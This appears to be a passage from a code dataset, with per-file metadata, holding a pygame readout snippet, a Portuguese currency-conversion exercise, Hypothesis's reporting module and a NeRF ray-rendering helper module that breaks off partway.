# text = readoutFont.render("Y : " + str(y), 1, TXTCOLOR)
# textpos = (50,100,0,0)
# displaySurf.blit(text, textpos)
# text = readoutFont.render("Heading : " + str(heading), 1, TXTCOLOR)
# textpos = (50,150,0,0)
# displaySurf.blit(text, textpos)
pygame.display.flip()
pygame.display.quit()
pygame.quit() | en | 0.262181 | # R G B #bot.startWithHID() #FPSCLOCK = pygame.time.Clock() #Opening USB serial port will reset the arduino - wait for it to reboot before continuing #Initialise position and heading # x = bot.requestGridX() # y = bot.requestGridY() # heading = bot.requestGridHeading() # displaySurf.blit(background, (0, 0)) # text = readoutFont.render("X : " + str(x), 1, TXTCOLOR) # textpos = (50,50,0,0) # displaySurf.blit(text, textpos) # text = readoutFont.render("Y : " + str(y), 1, TXTCOLOR) # textpos = (50,100,0,0) # displaySurf.blit(text, textpos) # text = readoutFont.render("Heading : " + str(heading), 1, TXTCOLOR) # textpos = (50,150,0,0) # displaySurf.blit(text, textpos) | 2.958901 | 3 |
Exercicios/10Exercicio.py | andrezzadede/Curso_Python_Guanabara_Mundo_1 | 0 | 6616160 | <filename>Exercicios/10Exercicio.py
# 10 Crie um programa que leia quanto dinheiro uma pessoa tem e mostre quantos dolares ela pode comprar
N1 = float (input ('Informe o valor que você tem de dinheiro R$'))
dolar = N1/3.27
print ('Com R${:.2f} de dinheiro é possivel comprar {:.2f} dolares'.format(N1, dolar))
| <filename>Exercicios/10Exercicio.py
# 10 Crie um programa que leia quanto dinheiro uma pessoa tem e mostre quantos dolares ela pode comprar
N1 = float (input ('Informe o valor que você tem de dinheiro R$'))
dolar = N1/3.27
print ('Com R${:.2f} de dinheiro é possivel comprar {:.2f} dolares'.format(N1, dolar))
| pt | 0.997386 | # 10 Crie um programa que leia quanto dinheiro uma pessoa tem e mostre quantos dolares ela pode comprar | 3.953123 | 4 |
hypothesis/reporting.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 0 | 6616161 | # coding=utf-8
#
# This file is part of Hypothesis (https://github.com/DRMacIver/hypothesis)
#
# Most of this work is copyright (C) 2013-2015 <NAME>
# (<EMAIL>), but it contains contributions by others. See
# https://github.com/DRMacIver/hypothesis/blob/master/CONTRIBUTING.rst for a
# full list of people who may hold copyright, and consult the git log if you
# need to determine who owns an individual contribution.
#
# This Source Code Form is subject to the terms of the Mozilla Public License,
# v. 2.0. If a copy of the MPL was not distributed with this file, You can
# obtain one at http://mozilla.org/MPL/2.0/.
#
# END HEADER
from __future__ import division, print_function, absolute_import
import inspect
from hypothesis._settings import settings, Verbosity
from hypothesis.internal.compat import escape_unicode_characters
from hypothesis.utils.dynamicvariables import DynamicVariable
def silent(value):
pass
def default(value):
try:
print(value)
except UnicodeEncodeError:
print(escape_unicode_characters(value))
reporter = DynamicVariable(default)
def current_reporter():
return reporter.value
def with_reporter(new_reporter):
return reporter.with_value(new_reporter)
def current_verbosity():
return settings.default.verbosity
def to_text(textish):
if inspect.isfunction(textish):
textish = textish()
if isinstance(textish, bytes):
textish = textish.decode('utf-8')
return textish
def verbose_report(text):
if current_verbosity() >= Verbosity.verbose:
current_reporter()(to_text(text))
def debug_report(text):
if current_verbosity() >= Verbosity.debug:
current_reporter()(to_text(text))
def report(text):
if current_verbosity() >= Verbosity.normal:
current_reporter()(to_text(text))
| # coding=utf-8
#
# This file is part of Hypothesis (https://github.com/DRMacIver/hypothesis)
#
# Most of this work is copyright (C) 2013-2015 <NAME>
# (<EMAIL>), but it contains contributions by others. See
# https://github.com/DRMacIver/hypothesis/blob/master/CONTRIBUTING.rst for a
# full list of people who may hold copyright, and consult the git log if you
# need to determine who owns an individual contribution.
#
# This Source Code Form is subject to the terms of the Mozilla Public License,
# v. 2.0. If a copy of the MPL was not distributed with this file, You can
# obtain one at http://mozilla.org/MPL/2.0/.
#
# END HEADER
from __future__ import division, print_function, absolute_import
import inspect
from hypothesis._settings import settings, Verbosity
from hypothesis.internal.compat import escape_unicode_characters
from hypothesis.utils.dynamicvariables import DynamicVariable
def silent(value):
pass
def default(value):
try:
print(value)
except UnicodeEncodeError:
print(escape_unicode_characters(value))
reporter = DynamicVariable(default)
def current_reporter():
return reporter.value
def with_reporter(new_reporter):
return reporter.with_value(new_reporter)
def current_verbosity():
return settings.default.verbosity
def to_text(textish):
if inspect.isfunction(textish):
textish = textish()
if isinstance(textish, bytes):
textish = textish.decode('utf-8')
return textish
def verbose_report(text):
if current_verbosity() >= Verbosity.verbose:
current_reporter()(to_text(text))
def debug_report(text):
if current_verbosity() >= Verbosity.debug:
current_reporter()(to_text(text))
def report(text):
if current_verbosity() >= Verbosity.normal:
current_reporter()(to_text(text))
| en | 0.885218 | # coding=utf-8 # # This file is part of Hypothesis (https://github.com/DRMacIver/hypothesis) # # Most of this work is copyright (C) 2013-2015 <NAME> # (<EMAIL>), but it contains contributions by others. See # https://github.com/DRMacIver/hypothesis/blob/master/CONTRIBUTING.rst for a # full list of people who may hold copyright, and consult the git log if you # need to determine who owns an individual contribution. # # This Source Code Form is subject to the terms of the Mozilla Public License, # v. 2.0. If a copy of the MPL was not distributed with this file, You can # obtain one at http://mozilla.org/MPL/2.0/. # # END HEADER | 1.938173 | 2 |
run_nerf_helpers.py | rhgao/ObjectFolder | 22 | 6616162 | <gh_stars>10-100
import torch
torch.autograd.set_detect_anomaly(True)
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
# import kilonerf_cuda
import math
import ray_utils
# Misc
img2mse = lambda x, y : torch.mean((x - y) ** 2)
mse2psnr = lambda x : -10. * torch.log(x) / torch.log(torch.Tensor([10.]))
to8b = lambda x : (255*np.clip(x,0,1)).astype(np.uint8)
# Positional encoding (section 5.1)
class Embedder:
def __init__(self, **kwargs):
self.kwargs = kwargs
self.create_embedding_fn()
def create_embedding_fn(self):
embed_fns = []
d = self.kwargs['input_dims']
out_dim = 0
if self.kwargs['include_input']:
embed_fns.append(lambda x : x)
out_dim += d
max_freq = self.kwargs['max_freq_log2']
N_freqs = self.kwargs['num_freqs']
if self.kwargs['log_sampling']:
freq_bands = 2.**torch.linspace(0., max_freq, steps=N_freqs)
else:
freq_bands = torch.linspace(2.**0., 2.**max_freq, steps=N_freqs)
for freq in freq_bands:
for p_fn in self.kwargs['periodic_fns']:
embed_fns.append(lambda x, p_fn=p_fn, freq=freq : p_fn(x * freq))
out_dim += d
self.embed_fns = embed_fns
self.out_dim = out_dim
def embed(self, inputs):
return torch.cat([fn(inputs) for fn in self.embed_fns], -1)
def get_embedder(multires, i=0):
if i == -1:
return nn.Identity(), 3
embed_kwargs = {
'include_input' : True,
'input_dims' : 3,
'max_freq_log2' : multires-1,
'num_freqs' : multires,
'log_sampling' : True,
'periodic_fns' : [torch.sin, torch.cos],
}
embedder_obj = Embedder(**embed_kwargs)
embed = lambda x, eo=embedder_obj : eo.embed(x)
return embed, embedder_obj.out_dim
class DenseLayer(nn.Linear):
def __init__(self, in_dim: int, out_dim: int, activation: str = "relu", *args, **kwargs) -> None:
self.activation = activation
super().__init__(in_dim, out_dim, *args, **kwargs)
def reset_parameters(self) -> None:
torch.nn.init.xavier_uniform_(self.weight, gain=torch.nn.init.calculate_gain(self.activation))
if self.bias is not None:
torch.nn.init.zeros_(self.bias)
# Model
class NeRF(nn.Module):
def __init__(self, D=8, W=256, input_ch=3, input_ch_views=3, output_ch=4, skips=[4], use_viewdirs=False, direction_layer_size=None, use_initialization_fix=False):
"""
"""
super(NeRF, self).__init__()
self.D = D
self.W = W
self.input_ch = input_ch
self.input_ch_views = input_ch_views
self.skips = skips
self.use_viewdirs = use_viewdirs
self.use_initialization_fix = use_initialization_fix
if direction_layer_size is None:
direction_layer_size = W//2
def linear_layer(in_features, out_features, activation):
if self.use_initialization_fix:
return DenseLayer(in_features, out_features, activation=activation)
else:
return nn.Linear(in_features, out_features)
self.pts_linears = nn.ModuleList(
[linear_layer(input_ch, W, activation="relu")] + [linear_layer(W, W, activation="relu") if i not in self.skips else linear_layer(W + input_ch, W, activation="relu") for i in range(D-1)])
### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105)
self.views_linears = nn.ModuleList([linear_layer(input_ch_views + W, direction_layer_size, activation="relu")])
### Implementation according to the paper
# self.views_linears = nn.ModuleList(
# [nn.Linear(input_ch_views + W, W//2)] + [nn.Linear(W//2, W//2) for i in range(D//2)])
if use_viewdirs:
self.feature_linear = linear_layer(W, W, activation="linear")
self.alpha_linear = linear_layer(W, 1, activation="linear")
self.rgb_linear = linear_layer(direction_layer_size, 3, activation="linear")
else:
self.output_linear = linear_layer(W, output_ch, activation="linear")
def forward(self, x):
input_pts, input_views = torch.split(x, [self.input_ch, self.input_ch_views], dim=-1)
h = input_pts
for i, l in enumerate(self.pts_linears):
h = self.pts_linears[i](h)
h = F.relu(h)
if i in self.skips:
h = torch.cat([input_pts, h], -1)
if self.use_viewdirs:
alpha = self.alpha_linear(h)
feature = self.feature_linear(h)
h = torch.cat([feature, input_views], -1)
for i, l in enumerate(self.views_linears):
h = self.views_linears[i](h)
h = F.relu(h)
rgb = self.rgb_linear(h)
outputs = torch.cat([rgb, alpha], -1)
else:
outputs = self.output_linear(h)
return outputs
def load_weights_from_keras(self, weights):
assert self.use_viewdirs, "Not implemented if use_viewdirs=False"
# Load pts_linears
for i in range(self.D):
idx_pts_linears = 2 * i
self.pts_linears[i].weight.data = torch.from_numpy(np.transpose(weights[idx_pts_linears]))
self.pts_linears[i].bias.data = torch.from_numpy(np.transpose(weights[idx_pts_linears+1]))
# Load feature_linear
idx_feature_linear = 2 * self.D
self.feature_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_feature_linear]))
self.feature_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_feature_linear+1]))
# Load views_linears
idx_views_linears = 2 * self.D + 2
self.views_linears[0].weight.data = torch.from_numpy(np.transpose(weights[idx_views_linears]))
self.views_linears[0].bias.data = torch.from_numpy(np.transpose(weights[idx_views_linears+1]))
# Load rgb_linear
idx_rbg_linear = 2 * self.D + 4
self.rgb_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear]))
self.rgb_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear+1]))
# Load alpha_linear
idx_alpha_linear = 2 * self.D + 6
self.alpha_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear]))
self.alpha_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear+1]))
class NeRF2(nn.Module):
def __init__(self, D=8, W=256, input_ch=3, input_ch_views=3, input_ch_lights=3, output_ch=4, skips=[4], use_viewdirs=False, use_lightdirs=False, direction_layer_size=None, use_initialization_fix=False):
"""
"""
super(NeRF2, self).__init__()
self.D = D
self.W = W
self.input_ch = input_ch
self.input_ch_views = input_ch_views
self.input_ch_lights = input_ch_lights
self.skips = skips
self.use_viewdirs = use_viewdirs
self.use_lightdirs = use_lightdirs
self.use_initialization_fix = use_initialization_fix
"""
if direction_layer_size is None:
direction_layer_size = W//2
def linear_layer(in_features, out_features, activation):
if self.use_initialization_fix:
return DenseLayer(in_features, out_features, activation=activation)
else:
return nn.Linear(in_features, out_features)
self.pts_linears = nn.ModuleList(
[linear_layer(input_ch, W, activation="relu")] + [linear_layer(W, W, activation="relu") if i not in self.skips else linear_layer(W + input_ch, W, activation="relu") for i in range(D-1)])
"""
self.pts_linears = nn.ModuleList(
[nn.Linear(input_ch, W)] + [nn.Linear(W, W) if i not in self.skips else nn.Linear(W + input_ch, W) for i in range(D-1)])
### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105)
#self.views_linears = nn.ModuleList([linear_layer(input_ch_views + W, direction_layer_size, activation="relu")])
### Implementation according to the paper
# self.views_linears = nn.ModuleList(
# [nn.Linear(input_ch_views + W, W//2)] + [nn.Linear(W//2, W//2) for i in range(D//2)])
"""
if use_viewdirs:
self.feature_linear = linear_layer(W, W, activation="linear")
self.alpha_linear = linear_layer(W, 1, activation="linear")
self.rgb_linear = linear_layer(direction_layer_size, 3, activation="linear")
else:
self.output_linear = linear_layer(W, output_ch, activation="linear")
"""
if use_viewdirs and use_lightdirs:
self.bottleneck_linear = nn.Linear(W, W)
self.alpha_linear = nn.Linear(W, 1)
self.rgb_linear = nn.Linear(W//2, 3)
self.views_lights_linears = nn.ModuleList([nn.Linear(input_ch_views + input_ch_lights + W, W//2)])
elif use_viewdirs:
self.bottleneck_linear = nn.Linear(W, W)
self.alpha_linear = nn.Linear(W, 1)
self.rgb_linear = nn.Linear(W//2, 3)
self.views_lights_linears = nn.ModuleList([nn.Linear(input_ch_views + W, W//2)])
elif use_lightdirs:
self.bottleneck_linear = nn.Linear(W, W)
self.alpha_linear = nn.Linear(W, 1)
self.rgb_linear = nn.Linear(W//2, 3)
self.views_lights_linears = nn.ModuleList([nn.Linear(input_ch_lights + W, W//2)])
else:
self.output_linear = nn.Linear(W, output_ch)
def forward(self, x):
input_pts, input_views, input_lights = torch.split(x, [self.input_ch, self.input_ch_views, self.input_ch_lights], dim=-1)
outputs = input_pts
for i, l in enumerate(self.pts_linears):
outputs = self.pts_linears[i](outputs)
outputs = F.relu(outputs)
if i in self.skips:
outputs = torch.cat([input_pts, outputs], -1)
"""
if self.use_viewdirs:
alpha = self.alpha_linear(h)
feature = self.feature_linear(h)
h = torch.cat([feature, input_views], -1)
for i, l in enumerate(self.views_linears):
h = self.views_linears[i](h)
h = F.relu(h)
rgb = self.rgb_linear(h)
outputs = torch.cat([rgb, alpha], -1)
else:
outputs = self.output_linear(h)
"""
if self.use_viewdirs or self.use_lightdirs:
alpha = self.alpha_linear(outputs)
bottleneck = self.bottleneck_linear(outputs)
inputs_dirs = bottleneck
if self.use_viewdirs:
inputs_dirs = torch.cat([inputs_dirs, input_views], -1) # concat viewdirs
if self.use_lightdirs:
inputs_dirs = torch.cat([inputs_dirs, input_lights], -1) # concat lightdirs
outputs = inputs_dirs
for i, l in enumerate(self.views_lights_linears):
outputs = self.views_lights_linears[i](outputs)
outputs = F.relu(outputs)
outputs = self.rgb_linear(outputs)
outputs = torch.cat([outputs, alpha], -1)
else:
outputs = self.output_linear(outputs)
return outputs
"""
def load_weights_from_keras(self, weights):
assert self.use_viewdirs, "Not implemented if use_viewdirs=False"
# Load pts_linears
for i in range(self.D):
idx_pts_linears = 2 * i
self.pts_linears[i].weight.data = torch.from_numpy(np.transpose(weights[idx_pts_linears]))
self.pts_linears[i].bias.data = torch.from_numpy(np.transpose(weights[idx_pts_linears+1]))
# Load feature_linear
idx_feature_linear = 2 * self.D
self.feature_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_feature_linear]))
self.feature_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_feature_linear+1]))
# Load views_linears
idx_views_linears = 2 * self.D + 2
self.views_linears[0].weight.data = torch.from_numpy(np.transpose(weights[idx_views_linears]))
self.views_linears[0].bias.data = torch.from_numpy(np.transpose(weights[idx_views_linears+1]))
# Load rgb_linear
idx_rbg_linear = 2 * self.D + 4
self.rgb_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear]))
self.rgb_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear+1]))
# Load alpha_linear
idx_alpha_linear = 2 * self.D + 6
self.alpha_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear]))
self.alpha_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear+1]))
"""
class CoarseAndFine(nn.Module):
def __init__(self, model_coarse, model_fine) :
super(CoarseAndFine, self).__init__()
self.model_coarse = model_coarse
self.model_fine = model_fine
def replace_transparency_by_background_color(acc_map, background_color=None):
res = 1. - acc_map[...,None]
if background_color is not None:
res = res * background_color
return res
# Ray helpers
#def get_rays(H, W, focal, c2w):
def get_rays(intrinsics, c2w, img_id=0, expand_origin=True):
'''
root_num_blocks = 64 # => 4096 blocks
root_num_threads = 16 # => 256 threads per block
rays_d = kilonerf_cuda.get_rays_d(intrinsics.H, intrinsics.W, intrinsics.cx, intrinsics.cy, intrinsics.fx, intrinsics.fy, c2w[:3, :3].contiguous(), root_num_blocks, root_num_threads)
'''
i, j = torch.meshgrid(torch.linspace(0, intrinsics.W-1, intrinsics.W), torch.linspace(0, intrinsics.H-1, intrinsics.H)) # pytorch's meshgrid has indexing='ij'
i = i.t()
j = j.t()
dirs = torch.stack([(i - intrinsics.cx) / intrinsics.fx, -(j - intrinsics.cy) / intrinsics.fy, -torch.ones_like(i)], -1)
# Rotate ray directions from camera frame to the world frame
rays_d = torch.sum(dirs[..., np.newaxis, :] * c2w[:3,:3], -1) # dot product, equals to: [c2w.dot(dir) for dir in dirs]
# Translate camera frame's origin to the world frame. It is the origin of all rays.
rays_o = c2w[:3,-1].expand(rays_d.shape)
if expand_origin:
rays_o = rays_o.expand(rays_d.shape)
else:
rays_o = rays_o.contiguous()
rays_i = torch.full(rays_d.size(), img_id).float()
return rays_o, rays_d, rays_i
#def get_rays_np(H, W, focal, c2w):
def get_rays_np(intrinsics, c2w):
W, H = intrinsics.W, intrinsics.H
i, j = np.meshgrid(np.arange(W, dtype=np.float32), np.arange(H, dtype=np.float32), indexing='xy')
dirs = np.stack([(i - intrinsics.cx) / intrinsics.fx, -(j - intrinsics.cy) / intrinsics.fy, -np.ones_like(i)], -1)
# Rotate ray directions from camera frame to the world frame
rays_d = np.sum(dirs[..., np.newaxis, :] * c2w[:3,:3], -1) # dot product, equals to: [c2w.dot(dir) for dir in dirs]
# Translate camera frame's origin to the world frame. It is the origin of all rays.
rays_o = np.broadcast_to(c2w[:3,-1], np.shape(rays_d))
return rays_o, rays_d
def ndc_rays(H, W, focal, near, rays_o, rays_d):
# Shift ray origins to near plane
t = -(near + rays_o[...,2]) / rays_d[...,2]
rays_o = rays_o + t[...,None] * rays_d
# Projection
o0 = -1./(W/(2.*focal)) * rays_o[...,0] / rays_o[...,2]
o1 = -1./(H/(2.*focal)) * rays_o[...,1] / rays_o[...,2]
o2 = 1. + 2. * near / rays_o[...,2]
d0 = -1./(W/(2.*focal)) * (rays_d[...,0]/rays_d[...,2] - rays_o[...,0]/rays_o[...,2])
d1 = -1./(H/(2.*focal)) * (rays_d[...,1]/rays_d[...,2] - rays_o[...,1]/rays_o[...,2])
d2 = -2. * near / rays_o[...,2]
rays_o = torch.stack([o0,o1,o2], -1)
rays_d = torch.stack([d0,d1,d2], -1)
return rays_o, rays_d
# Hierarchical sampling (section 5.2)
def sample_pdf(bins, weights, N_samples, det=False, pytest=False):
# Get pdf
weights = weights + 1e-5 # prevent nans
pdf = weights / torch.sum(weights, -1, keepdim=True)
cdf = torch.cumsum(pdf, -1)
cdf = torch.cat([torch.zeros_like(cdf[...,:1]), cdf], -1) # (batch, len(bins))
# Take uniform samples
if det:
u = torch.linspace(0., 1., steps=N_samples)
u = u.expand(list(cdf.shape[:-1]) + [N_samples])
else:
u = torch.rand(list(cdf.shape[:-1]) + [N_samples])
# Pytest, overwrite u with numpy's fixed random numbers
if pytest:
np.random.seed(0)
new_shape = list(cdf.shape[:-1]) + [N_samples]
if det:
u = np.linspace(0., 1., N_samples)
u = np.broadcast_to(u, new_shape)
else:
u = np.random.rand(*new_shape)
u = torch.Tensor(u)
# Invert CDF
u = u.contiguous()
inds = torch.searchsorted(cdf, u, right=True)
below = torch.max(torch.zeros_like(inds-1), inds-1)
above = torch.min((cdf.shape[-1]-1) * torch.ones_like(inds), inds)
inds_g = torch.stack([below, above], -1) # (batch, N_samples, 2)
# cdf_g = tf.gather(cdf, inds_g, axis=-1, batch_dims=len(inds_g.shape)-2)
# bins_g = tf.gather(bins, inds_g, axis=-1, batch_dims=len(inds_g.shape)-2)
matched_shape = [inds_g.shape[0], inds_g.shape[1], cdf.shape[-1]]
cdf_g = torch.gather(cdf.unsqueeze(1).expand(matched_shape), 2, inds_g)
bins_g = torch.gather(bins.unsqueeze(1).expand(matched_shape), 2, inds_g)
denom = (cdf_g[...,1]-cdf_g[...,0])
denom = torch.where(denom<1e-5, torch.ones_like(denom), denom)
t = (u-cdf_g[...,0])/denom
samples = bins_g[...,0] + t * (bins_g[...,1]-bins_g[...,0])
return samples
class ChainEmbeddingAndModel(nn.Module):
def __init__(self, model, embed_fn, embeddirs_fn, embedlights_fn):
super(ChainEmbeddingAndModel, self).__init__()
self.model = model
self.embed_fn = embed_fn
self.embeddirs_fn = embeddirs_fn
self.embedlights_fn = embedlights_fn
def forward(self, points_and_dirs):
embedded_points = self.embed_fn(points_and_dirs[:, :3])
if self.embeddirs_fn is not None and self.embedlights_fn is not None:
embedded_dirs = self.embeddirs_fn(points_and_dirs[:, 3:6])
embedded_lights = self.embedlights_fn(points_and_dirs[:, 6:])
embedded_points_and_dirs_and_lights = torch.cat([embedded_points, embedded_dirs, embedded_lights], -1)
return self.model(embedded_points_and_dirs_and_lights)
else:
return self.model(embedded_points)
def lookat(look_from, look_to, tmp = np.asarray([0., 0., 1.])):
forward = look_from - look_to
forward = forward / np.linalg.norm(forward)
right = np.cross(tmp, forward)
right = right / np.linalg.norm(right) # TODO: handle np.linalg.norm(right) == 0
up = np.cross(forward, right)
c2w_T = np.zeros((4,4))
c2w_T[0,0:3] = right
c2w_T[1,0:3] = up
c2w_T[2,0:3] = forward
c2w_T[3,0:3] = look_from
c2w_T[3,3] = 1
return c2w_T.T
class OrbitCamera:
def __init__(self, center, radius, inclination, azimuth, device):
self.center = center
self.radius = radius
self.inclination = inclination
self.azimuth = azimuth
self.device = device
self.compute_c2w()
def zoom(self, delta):
self.radius += delta
self.compute_c2w()
def pan(self, delta_x, delta_y):
c2w_T = self.c2w.cpu().numpy().T
right = c2w_T[0,0:3]
up = c2w_T[1,0:3]
self.center += delta_x * right
self.center += delta_y * up
self.compute_c2w()
def rotate(self, delta_x, delta_y):
self.azimuth += delta_x
self.inclination += delta_y
eps = 0.001
self.inclination = min(max(eps, self.inclination), math.pi - eps)
self.compute_c2w()
def compute_c2w(self):
offset = np.asarray([self.radius * math.cos(self.azimuth) * math.sin(self.inclination),
self.radius * math.sin(self.azimuth) * math.sin(self.inclination),
self.radius * math.cos(self.inclination)])
look_from = self.center + offset
look_to = self.center
self.c2w = torch.tensor(lookat(look_from, look_to), dtype=torch.float, device=self.device)
def get_dirs(ray_batch, pts, metadata, use_viewdirs, use_lightdirs, lightdirs_method):
"""Get ray directions.
Args:
ray_batch: [R, M] float tensor. All information necessary for sampling along a
ray, including: ray origin, ray direction, min dist, max dist, and
unit-magnitude viewing direction, all in object coordinate frame.
pts: [R, S, 3] float tensor. Sampled points along rays.
metadata: [N, 3] float tensor. Metadata about each image. Currently only light
position is provided.
use_viewdirs: Whether to use view directions.
use_lightdirs: Whether to use light directions.
lightdirs_method: Method for computing lightdirs.
"""
viewdirs, lightdirs = None, None
if use_viewdirs:
assert ray_batch.size()[-1] > 8
viewdirs = ray_batch[:, 8:11] # [R, 3]
viewdirs = torch.broadcast_to(viewdirs[:, None], pts.size()) # [R, S, 3]
if use_lightdirs:
# Use viewdirs as lightdirs.
if lightdirs_method == 'viewdirs':
assert viewdirs is not None, "viewdirs is None"
lightdirs = viewdirs # [R, S, 3]
# Compute lightdirs based on ray metadata or randomly sample directions.
else:
rays_i = ray_batch[:, -1:] # [R, 1]
lightdirs = ray_utils.get_lightdirs( # [R, S, 3]
lightdirs_method=lightdirs_method, num_rays=pts.size()[0],
num_samples=pts.size()[1], rays_i=rays_i, metadata=metadata,
normalize=False)
return viewdirs, lightdirs
| import torch
torch.autograd.set_detect_anomaly(True)
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
# import kilonerf_cuda
import math
import ray_utils
# Misc
img2mse = lambda x, y : torch.mean((x - y) ** 2)
mse2psnr = lambda x : -10. * torch.log(x) / torch.log(torch.Tensor([10.]))
to8b = lambda x : (255*np.clip(x,0,1)).astype(np.uint8)
# Positional encoding (section 5.1)
class Embedder:
def __init__(self, **kwargs):
self.kwargs = kwargs
self.create_embedding_fn()
def create_embedding_fn(self):
embed_fns = []
d = self.kwargs['input_dims']
out_dim = 0
if self.kwargs['include_input']:
embed_fns.append(lambda x : x)
out_dim += d
max_freq = self.kwargs['max_freq_log2']
N_freqs = self.kwargs['num_freqs']
if self.kwargs['log_sampling']:
freq_bands = 2.**torch.linspace(0., max_freq, steps=N_freqs)
else:
freq_bands = torch.linspace(2.**0., 2.**max_freq, steps=N_freqs)
for freq in freq_bands:
for p_fn in self.kwargs['periodic_fns']:
embed_fns.append(lambda x, p_fn=p_fn, freq=freq : p_fn(x * freq))
out_dim += d
self.embed_fns = embed_fns
self.out_dim = out_dim
def embed(self, inputs):
return torch.cat([fn(inputs) for fn in self.embed_fns], -1)
def get_embedder(multires, i=0):
if i == -1:
return nn.Identity(), 3
embed_kwargs = {
'include_input' : True,
'input_dims' : 3,
'max_freq_log2' : multires-1,
'num_freqs' : multires,
'log_sampling' : True,
'periodic_fns' : [torch.sin, torch.cos],
}
embedder_obj = Embedder(**embed_kwargs)
embed = lambda x, eo=embedder_obj : eo.embed(x)
return embed, embedder_obj.out_dim
class DenseLayer(nn.Linear):
def __init__(self, in_dim: int, out_dim: int, activation: str = "relu", *args, **kwargs) -> None:
self.activation = activation
super().__init__(in_dim, out_dim, *args, **kwargs)
def reset_parameters(self) -> None:
torch.nn.init.xavier_uniform_(self.weight, gain=torch.nn.init.calculate_gain(self.activation))
if self.bias is not None:
torch.nn.init.zeros_(self.bias)
# Model
class NeRF(nn.Module):
def __init__(self, D=8, W=256, input_ch=3, input_ch_views=3, output_ch=4, skips=[4], use_viewdirs=False, direction_layer_size=None, use_initialization_fix=False):
"""
"""
super(NeRF, self).__init__()
self.D = D
self.W = W
self.input_ch = input_ch
self.input_ch_views = input_ch_views
self.skips = skips
self.use_viewdirs = use_viewdirs
self.use_initialization_fix = use_initialization_fix
if direction_layer_size is None:
direction_layer_size = W//2
def linear_layer(in_features, out_features, activation):
if self.use_initialization_fix:
return DenseLayer(in_features, out_features, activation=activation)
else:
return nn.Linear(in_features, out_features)
self.pts_linears = nn.ModuleList(
[linear_layer(input_ch, W, activation="relu")] + [linear_layer(W, W, activation="relu") if i not in self.skips else linear_layer(W + input_ch, W, activation="relu") for i in range(D-1)])
### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105)
self.views_linears = nn.ModuleList([linear_layer(input_ch_views + W, direction_layer_size, activation="relu")])
### Implementation according to the paper
# self.views_linears = nn.ModuleList(
# [nn.Linear(input_ch_views + W, W//2)] + [nn.Linear(W//2, W//2) for i in range(D//2)])
if use_viewdirs:
self.feature_linear = linear_layer(W, W, activation="linear")
self.alpha_linear = linear_layer(W, 1, activation="linear")
self.rgb_linear = linear_layer(direction_layer_size, 3, activation="linear")
else:
self.output_linear = linear_layer(W, output_ch, activation="linear")
def forward(self, x):
input_pts, input_views = torch.split(x, [self.input_ch, self.input_ch_views], dim=-1)
h = input_pts
for i, l in enumerate(self.pts_linears):
h = self.pts_linears[i](h)
h = F.relu(h)
if i in self.skips:
h = torch.cat([input_pts, h], -1)
if self.use_viewdirs:
alpha = self.alpha_linear(h)
feature = self.feature_linear(h)
h = torch.cat([feature, input_views], -1)
for i, l in enumerate(self.views_linears):
h = self.views_linears[i](h)
h = F.relu(h)
rgb = self.rgb_linear(h)
outputs = torch.cat([rgb, alpha], -1)
else:
outputs = self.output_linear(h)
return outputs
def load_weights_from_keras(self, weights):
assert self.use_viewdirs, "Not implemented if use_viewdirs=False"
# Load pts_linears
for i in range(self.D):
idx_pts_linears = 2 * i
self.pts_linears[i].weight.data = torch.from_numpy(np.transpose(weights[idx_pts_linears]))
self.pts_linears[i].bias.data = torch.from_numpy(np.transpose(weights[idx_pts_linears+1]))
# Load feature_linear
idx_feature_linear = 2 * self.D
self.feature_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_feature_linear]))
self.feature_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_feature_linear+1]))
# Load views_linears
idx_views_linears = 2 * self.D + 2
self.views_linears[0].weight.data = torch.from_numpy(np.transpose(weights[idx_views_linears]))
self.views_linears[0].bias.data = torch.from_numpy(np.transpose(weights[idx_views_linears+1]))
# Load rgb_linear
idx_rbg_linear = 2 * self.D + 4
self.rgb_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear]))
self.rgb_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear+1]))
# Load alpha_linear
idx_alpha_linear = 2 * self.D + 6
self.alpha_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear]))
self.alpha_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear+1]))
class NeRF2(nn.Module):
def __init__(self, D=8, W=256, input_ch=3, input_ch_views=3, input_ch_lights=3, output_ch=4, skips=[4], use_viewdirs=False, use_lightdirs=False, direction_layer_size=None, use_initialization_fix=False):
"""
"""
super(NeRF2, self).__init__()
self.D = D
self.W = W
self.input_ch = input_ch
self.input_ch_views = input_ch_views
self.input_ch_lights = input_ch_lights
self.skips = skips
self.use_viewdirs = use_viewdirs
self.use_lightdirs = use_lightdirs
self.use_initialization_fix = use_initialization_fix
"""
if direction_layer_size is None:
direction_layer_size = W//2
def linear_layer(in_features, out_features, activation):
if self.use_initialization_fix:
return DenseLayer(in_features, out_features, activation=activation)
else:
return nn.Linear(in_features, out_features)
self.pts_linears = nn.ModuleList(
[linear_layer(input_ch, W, activation="relu")] + [linear_layer(W, W, activation="relu") if i not in self.skips else linear_layer(W + input_ch, W, activation="relu") for i in range(D-1)])
"""
self.pts_linears = nn.ModuleList(
[nn.Linear(input_ch, W)] + [nn.Linear(W, W) if i not in self.skips else nn.Linear(W + input_ch, W) for i in range(D-1)])
